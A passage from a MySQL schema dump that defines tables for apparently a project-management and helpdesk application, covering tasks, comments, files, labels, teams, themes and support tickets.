DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_category_company_id_foreign` (`company_id`), KEY `task_category_added_by_foreign` (`added_by`), KEY `task_category_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `task_category_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_category_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_category_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_comments`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_comments` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `comment` text COLLATE utf8mb4_unicode_ci NOT NULL, `user_id` int unsigned NOT NULL, `task_id` int unsigned NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_comments_user_id_foreign` (`user_id`), KEY `task_comments_task_id_foreign` (`task_id`), KEY `task_comments_added_by_foreign` (`added_by`), KEY `task_comments_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `task_comments_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_comments_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_comments_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_comments_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `task_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_files_user_id_foreign` (`user_id`), KEY `task_files_task_id_foreign` (`task_id`), KEY `task_files_added_by_foreign` (`added_by`), KEY `task_files_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `task_files_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_files_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_files_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_history`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_history` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `task_id` int unsigned NOT NULL, `sub_task_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `details` text COLLATE utf8mb4_unicode_ci NOT NULL, `board_column_id` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_history_task_id_foreign` (`task_id`), KEY `task_history_sub_task_id_foreign` (`sub_task_id`), KEY `task_history_user_id_foreign` (`user_id`), KEY `task_history_board_column_id_foreign` (`board_column_id`), CONSTRAINT `task_history_board_column_id_foreign` FOREIGN KEY (`board_column_id`) REFERENCES `taskboard_columns` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_history_sub_task_id_foreign` FOREIGN KEY (`sub_task_id`) REFERENCES `sub_tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_history_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_history_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_label_list`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_label_list` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `label_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `color` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_label_list_company_id_foreign` (`company_id`), KEY `task_label_list_project_id_foreign` (`project_id`), CONSTRAINT `task_label_list_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_label_list_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_labels`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_labels` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `label_id` int unsigned NOT NULL, `task_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_labels_label_id_foreign` (`label_id`), KEY `task_tags_task_id_foreign` (`task_id`), CONSTRAINT `task_labels_label_id_foreign` FOREIGN KEY (`label_id`) REFERENCES `task_label_list` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_tags_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `task_id` int unsigned NOT NULL, `user_id` int DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_notes_task_id_foreign` (`task_id`), KEY `task_notes_added_by_foreign` (`added_by`), KEY `task_notes_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `task_notes_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_notes_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `task_notes_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_users` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `task_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `task_users_task_id_foreign` (`task_id`), KEY `task_users_user_id_foreign` (`user_id`), CONSTRAINT `task_users_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `task_users_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `taskboard_columns`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `taskboard_columns` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `column_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `slug` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `label_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `priority` int NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `taskboard_columns_column_name_unique` (`column_name`), KEY `taskboard_columns_company_id_foreign` (`company_id`), CONSTRAINT `taskboard_columns_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `tasks`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `tasks` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `heading` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` longtext COLLATE utf8mb4_unicode_ci, `due_date` date DEFAULT NULL, `start_date` date DEFAULT NULL, `project_id` int unsigned DEFAULT NULL, `task_category_id` int unsigned DEFAULT NULL, `priority` enum('low','medium','high') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'medium', `status` enum('incomplete','completed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'incomplete', `board_column_id` int unsigned DEFAULT '1', `column_priority` int NOT NULL, `completed_on` datetime DEFAULT NULL, `created_by` int unsigned DEFAULT NULL, `recurring_task_id` int unsigned DEFAULT NULL, `dependent_task_id` int unsigned DEFAULT NULL, `milestone_id` int unsigned DEFAULT NULL, `is_private` tinyint(1) NOT NULL DEFAULT '0', `billable` tinyint(1) NOT NULL DEFAULT '1', `estimate_hours` int NOT NULL, `estimate_minutes` int NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` varchar(64) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `repeat` tinyint(1) NOT NULL DEFAULT '0', `repeat_complete` tinyint(1) NOT NULL DEFAULT '0', `repeat_count` int DEFAULT NULL, `repeat_type` enum('day','week','month','year') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'day', `repeat_cycles` int DEFAULT NULL, `event_id` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `deleted_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `tasks_company_id_foreign` (`company_id`), KEY `tasks_due_date_index` (`due_date`), KEY `tasks_project_id_foreign` (`project_id`), KEY `tasks_task_category_id_foreign` (`task_category_id`), KEY `tasks_board_column_id_foreign` (`board_column_id`), KEY `tasks_created_by_foreign` (`created_by`), KEY `tasks_recurring_task_id_foreign` (`recurring_task_id`), KEY `tasks_dependent_task_id_foreign` (`dependent_task_id`), KEY `tasks_milestone_id_foreign` (`milestone_id`), KEY `tasks_added_by_foreign` (`added_by`), KEY `tasks_last_updated_by_foreign` (`last_updated_by`), KEY `tasks_deleted_at_index` (`deleted_at`), CONSTRAINT `tasks_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_board_column_id_foreign` FOREIGN KEY (`board_column_id`) REFERENCES `taskboard_columns` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `tasks_created_by_foreign` FOREIGN KEY (`created_by`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `tasks_dependent_task_id_foreign` FOREIGN KEY (`dependent_task_id`) REFERENCES `tasks` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_milestone_id_foreign` FOREIGN KEY (`milestone_id`) REFERENCES `project_milestones` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_project_id_foreign` FOREIGN KEY (`project_id`) REFERENCES `projects` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `tasks_recurring_task_id_foreign` FOREIGN KEY (`recurring_task_id`) REFERENCES `tasks` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tasks_task_category_id_foreign` FOREIGN KEY (`task_category_id`) REFERENCES `task_category` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `taxes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `taxes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `tax_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `rate_percent` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `deleted_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `taxes_company_id_foreign` (`company_id`), CONSTRAINT `taxes_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `teams`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `teams` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `team_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `teams_company_id_foreign` (`company_id`), KEY `teams_added_by_foreign` (`added_by`), KEY `teams_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `teams_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `teams_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `teams_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `theme_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `theme_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `panel` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `header_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `sidebar_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `sidebar_text_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `link_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '#ffffff', `user_css` longtext COLLATE utf8mb4_unicode_ci, `sidebar_theme` enum('dark','light') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'dark', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `theme_settings_company_id_foreign` (`company_id`), CONSTRAINT `theme_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_agent_groups`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_agent_groups` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `agent_id` int unsigned NOT NULL, `group_id` int unsigned DEFAULT NULL, `status` enum('enabled','disabled') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'enabled', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_agent_groups_company_id_foreign` (`company_id`), KEY `ticket_agent_groups_agent_id_foreign` (`agent_id`), KEY `ticket_agent_groups_group_id_foreign` (`group_id`), KEY `ticket_agent_groups_added_by_foreign` (`added_by`), KEY `ticket_agent_groups_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `ticket_agent_groups_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `ticket_agent_groups_agent_id_foreign` FOREIGN KEY (`agent_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_agent_groups_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_agent_groups_group_id_foreign` FOREIGN KEY (`group_id`) REFERENCES `ticket_groups` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_agent_groups_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_channels`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_channels` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `channel_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ticket_channels_channel_name_unique` (`channel_name`), KEY `ticket_channels_company_id_foreign` (`company_id`), CONSTRAINT `ticket_channels_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_custom_forms`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_custom_forms` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `custom_fields_id` int unsigned DEFAULT NULL, `field_display_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `field_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `field_type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'text', `field_order` int NOT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `required` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_custom_forms_company_id_foreign` (`company_id`), KEY `ticket_custom_forms_custom_fields_id_foreign` (`custom_fields_id`), CONSTRAINT `ticket_custom_forms_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_custom_forms_custom_fields_id_foreign` FOREIGN KEY (`custom_fields_id`) REFERENCES `custom_fields` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_email_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_email_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `mail_username` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mail_password` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mail_from_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mail_from_email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `imap_host` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `imap_port` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `imap_encryption` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` tinyint(1) NOT NULL, `verified` tinyint(1) NOT NULL, `sync_interval` int NOT NULL DEFAULT '1', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_email_settings_company_id_foreign` (`company_id`), CONSTRAINT `ticket_email_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `ticket_reply_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_files_user_id_foreign` (`user_id`), KEY `ticket_files_ticket_reply_id_foreign` (`ticket_reply_id`), CONSTRAINT `ticket_files_ticket_reply_id_foreign` FOREIGN KEY (`ticket_reply_id`) REFERENCES `ticket_replies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_groups`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_groups` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `group_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_groups_company_id_foreign` (`company_id`), CONSTRAINT `ticket_groups_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_replies`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_replies` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `ticket_id` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `message` mediumtext COLLATE utf8mb4_unicode_ci, `deleted_at` timestamp NULL DEFAULT NULL, `imap_message_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `imap_message_uid` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `imap_in_reply_to` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_replies_ticket_id_foreign` (`ticket_id`), KEY `ticket_replies_user_id_foreign` (`user_id`), CONSTRAINT `ticket_replies_ticket_id_foreign` FOREIGN KEY (`ticket_id`) REFERENCES `tickets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_replies_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_reply_templates`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_reply_templates` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `reply_heading` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `reply_text` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_reply_templates_company_id_foreign` (`company_id`), CONSTRAINT `ticket_reply_templates_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_tag_list`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET 